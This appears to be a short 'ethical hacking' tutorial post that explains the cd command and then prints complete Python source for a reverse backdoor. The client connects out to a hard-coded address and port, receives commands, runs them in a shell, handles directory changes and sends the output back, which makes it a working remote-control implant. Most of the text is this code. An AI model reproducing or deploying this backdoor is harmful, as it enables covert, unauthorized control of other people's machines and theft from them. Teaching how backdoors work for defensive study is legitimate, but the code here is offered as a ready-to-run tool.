Python Ethical Hacking - BACKDOORS(4)

REVERSE_BACKDOOR - cd command

Access file system:

• cd command changes current working directory.
• It has 2 behaviours:
  • cd -> shows current working directory.
  • cd directoryname -> changes current working directory to directoryname

Client side - Backdoor code:

#!/usr/bin/env python
import json
import socket
import subprocess
import os

class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        json_data = json.dumps(data).encode()
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024).decode()
                return json.loads(json_data)
            except ValueError:
                continue

    def change_working_directory_to(self, path):
        os.chdir(path)
        return "[+] Changing working directory to " + path

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.reliable_receive()
            if command[0] == "exit":
                self.connection.close()
                exit()
            elif command[0] == "cd" and len(command) > 1:
                command_result = self.change_working_directory_to(command[1])
            else:
                command_result = self.execute_system_command(command).decode()

            self.reliable_send(command_result)

my_backdoor = Backdoor("10.0.0.43", 4444)
my_backdoor.run()

Execute cd and cd .. commands.
